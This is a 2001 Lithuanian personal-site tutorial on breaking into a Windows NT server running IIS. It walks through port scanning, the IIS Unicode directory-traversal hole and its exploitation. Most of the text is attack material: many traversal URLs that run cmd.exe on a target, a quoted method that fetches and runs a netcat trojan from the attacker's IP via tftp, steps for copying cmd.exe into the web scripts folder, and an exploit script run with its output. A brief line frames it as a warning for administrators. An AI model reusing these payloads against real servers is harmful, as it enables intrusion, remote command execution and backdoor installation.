Apsauga ir kt.

 

Pradžia ] Gyvenimo aprašymas ] Muzika ] Programos ] [ Apsauga ir kt. ] Poezija ] Įvairenybės ]


Windows NT serverio su paleistu Internet Information serveriu nulaužimas

            Šis paprastas pamokymas skirtas parodyti, kaip galima įsibrauti į Internetinį serverį, kuris yra paleistas Windows NT 4.0 su SP6 ir IIS 4.0 pagrindu. Tai gali būti signalas sisteminiams administratoriams ištaisyti esančias klaidas jų sistemose (kaip žinote Windows sistemose jų yra pakankamai). Jei kas naudosis šiais pamokymais blogiems tikslams žinokite, kad galite susilaukti bausmės (ne tik iš baudžiamųjų organų).

            Paprastai sistema apsaugota “firewall” valdoma OpenBSD ir vieninteliai atviri portai yra – 22 (ssh), 80 (http) ir 443 (apsaugoti http - https). Portų sąrašą galima gauti: ftp://ftp.isi.edu/in-notes/iana/assignments/port-numbers

Pirmas žingsnis – OS ir paleistų servisų nustatymas

            Visų pirma reikia nustatyti serverio OS, kokia versija, kokie servisai paleisti ir prie ko mes galime prieiti. Tam yra naudojami portų ir saugumo skeneriai.

Pvz.:     NMAP - http://www.insecure.org/nmap/index.html,

            SUPERSCAN - http://keir.net/software.html,

NETCAT - http://www.l0pht.com/~weld/netcat/,

RETINA - http://www.eeye.com/retina/,

SAINT - http://www.wwdsi.com/saint/,

NESSUS(Linux), ir kt.

 

Vieni iš jų yra komerciniai kiti ne. Taip pat galima pasinaudoti ir UNIX/LINUX sistemų programomis. Kokią programą pasirinksite, tai jūsų reikalas. Pvz. Su NMAP patogu skenuoti portus (TCP ir UDP) ir pabandyti identifikuoti nutolusios mašinos OS tipą ir versiją; su NETCAT galima patikrinti ar atviri portai atitinka priskirtiems jiems servisams ir t.t. Jei naudositės komerciniais produktais (pvz.:RETINA/WinNT), tai visą informaciją gausite viena arba beveik viena programa. Man patiko naudotis nekomercine programa SUPERSCAN:

 

 

 Dabar mes matome, kad paleistas Microsoft IIS/5.0. Jei tai ne MS Personal Web Services, tai jis paleistas ant NT/2000 platformos.

 

Antras žingsnis – “skylių” nustatymas

 

    Taigi dabar galime paieškoti skylių IIS sistemoje. Jas galima surasti kad ir www.securityfocus.com puslapyje.

 

Skylė Nr.1 – Katalogas Traversal naudoja Unicode kodavimą.

 

Pilną aprašymą galima surasti: http://www.securityfocus.com/frames/?content=/vdb/bottom.html%3Fvid%3D1806

Dėl viso pikto aš ją įdėsiu:

 ------------------------* * * * * * * ------------------------

 

Microsoft IIS and PWS Extended Unicode Directory Traversal Vulnerability

  

bugtraq id

1806

class

Input Validation Error

cve

GENERIC-MAP-NOMATCH

remote

Yes

local

Yes

published

October 17, 2000

updated

June 15, 2001

vulnerable

Microsoft IIS 5.0

- Microsoft Windows 2000; +SP1, +SP2

Microsoft IIS 4.0

- Microsoft Windows NT 4.0 +SP1 - SP7

Microsoft Personal Web Server 4.0

+ Microsoft Windows 98

+ Microsoft NT Option Pack for NT 4.0

- Microsoft Windows NT 4.0

 

http://target/scripts/..%c1%1c../path/file.ext

 

http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

http://target/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir

http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir

http://target/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir

http://target/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir

http://target/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir

http://target/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir 

 

http://target/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir

 

Zoa_Chien <zoachien@securax.org> describes the following exploits using TFTP or Samba in his post to Bugtraq:

By using tftp.exe that comes with NT and win2k by connecting and downloading a trojan from a tftp daemon you can bypass these restrictions. Install < ftp://ftp.cavebear.com/karl/tftpd32.zip > and connect from your compromised to your local machine using the command " tftp.exe -i xxx.xxx.xxx.xxx GET ncx99.exe ". You can do so with this url:

/[bin-dir]/..%c0%af../winnt/system32/tftp.exe+"-i"+xxx.xxx.xxx.xxx+GET+ncx99.exe+c:\winnt\system32\ncx99.exe

then all you have to do is run the trojan with: /[bin-dir]/..%c0%af../winnt/system32/ncx99.exe

 

You might also use the samba commands: "net share and net user" on the target and "net use" on the local machine... but this does not always seem to work. (coz. netbios is not installed?)

 

In their post to Bugtraq, Nsfocus Security Team <security@nsfocus.com> describes how to execute commands using a redirect on the target host:

 

(1) copy "..\..\winnt\system32\cmd.exe" to "..\..\interpub\scripts\cmd1.exe"

 

http://site/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy+..\..\winnt\system32\cmd.exe+cmd1.exe

 

IIS returned :

 

"CGI Error

The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:

 

1 file(s) copied."

(2) run "cmd1.exe /c echo abc >aaa & dir & type aaa "

 

http://site/scripts/..%c1%9c../inetpub/scripts/cmd1.exe?/c+echo+abc+>aaa&dir&type+aaa

 

IIS returned :

 

" Directory of c:\inetpub\scripts

 

10/25/2000 03:48p <DIR> .

10/25/2000 03:48p <DIR> ..

10/25/2000 03:51p 6 aaa

12/07/1999 05:00a 236,304 cmd1.exe

..

abc

"

 

Optyx <optyx@newhackcity.net> has released the following exploits:

 

iis-zang.c

iis-zang.exe

iis-zang.obsd

iis-zang.linux

 

Roelof Temmingh <roelof@sensepost.com> has released the following exploits:

 

unicodecheck.pl

unicodexecute.pl

unicodexecute2.pl

 

<Eliel.Sardanons@philips.edu.ar> has released the following exploit:

 

iisuni.c

http://www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.c

http://www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.exe

http://www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.obsd

http://www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.linux

http://www.securityfocus.com/data/vulnerabilities/exploits/unicodecheck.pl

http://www.securityfocus.com/data/vulnerabilities/exploits/unicodexecute.pl

http://www.securityfocus.com/data/vulnerabilities/exploits/unicodexecute2.pl

http://www.securityfocus.com/data/vulnerabilities/exploits/iisuni.c

 

------------------------* * * * * * * ------------------------

 

Trumpai pasiaiškinsime:

            Kaip ir FTP, Web serveris vykdomas pagrindiniame (chroot’ed) kataloge, todėl Web serveris ir jo vartotojai neturi priėjimo prie likusios failų sistemos, išskyrus leidžiamos www. Tačiau Web serveris turi turėti kai kurias teises užduotims atlikti (pvz.: “skriptų” paleidimui ir kt.). Tam nustatomi priėjimai prie tam tikrų katalogų. Realioje sistemoje tai gali būti C:\INETPUB\SCRIPTS.

 

            C:\---

                        | -- INETPUB\

                        |                       | - WWWROOT\

                        |                       | - SCRIPTS\

                        | -- WINNT\

                                                | - SYSTEM32\

 

Mes turime teisę naudotis programomis --\INETPUB\SCRIPTS\ kataloge, tačiau mus domina programos kataloge --\WINNT\SYSTEM32\cmd.exe (komandinės eilutės programa). Tam turime panaudoti “neegzistuojantį” kelią priėjimui prie reikiamo katalogo iš \INETPUB\SCRIPTS\ katalogo, nes tiesioginį kreipimąsi IIS blokuos. Apeiti šią kliūtį galima koduojant pasvirusį brūkšnį “/” (dešinys “slešas”) UNICODE metodu (%5c). Tai ir yra aprašytos “skylės” panaudojimas.

 

http://aukos adresas/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir

 

Kitos “skylės” būdas:

 

MS IIS/PWS Escaped Characters Decoding Command Execution

Pažeidžiami: MS IIS 5.0 (Win2k SP1/SP2), IIS 4.0 (NT4 SP1/2/3/4), IIS 3.0

Pataisa: NT SP6

Klasė: unicode-parser

Data: 2001 gegužės 15 d.

 

http://aukos adresas/scripts/..%255c..%255cwinnt/system32/cmd.exe\?/c+cmdz_here

 

Trečias žingsnis – “skylių” panaudojimas

 

 

Dabar galime paleisti sistemos komandas, bet turime priėjimą prie sistemos su labai mažomis privilegijomis (IUSER_machine), be to dirbti iš Web “brauzerio “nepatogu. Taigi darome paiešką tinkle ir surandame perl “skriptą”, kuris atidaro tinklą (network socket) ir siunčia jūsų tas pačias komandas į Web serverį. Tai tas pats ką ir jūsų “brauzeris” daro, tik taip dirbti daug lengviau.

 

[root@gundam nthack]# perl -x unicodexecute.pl 192.168.1.2:80 'dir'

Executing dir on 192.168.1.2:80

HTTP/1.1 200 OK

Server: Microsoft-IIS/4.0

Date: Fri, 19 Jan 2001 00:15:26 GMT

Content-Type: application/octet-stream

Volume in drive D has no label.

Volume Serial Number is F465-557F

 

Directory of D:\Inetpub\scripts

 

01/18/01  03:15p        <DIR>          .

01/18/01  03:15p        <DIR>          ..

               2 File(s)              0 bytes

                             28,081,664 bytes free

 

 

 


Copyright © 2001 Arturas Bajoras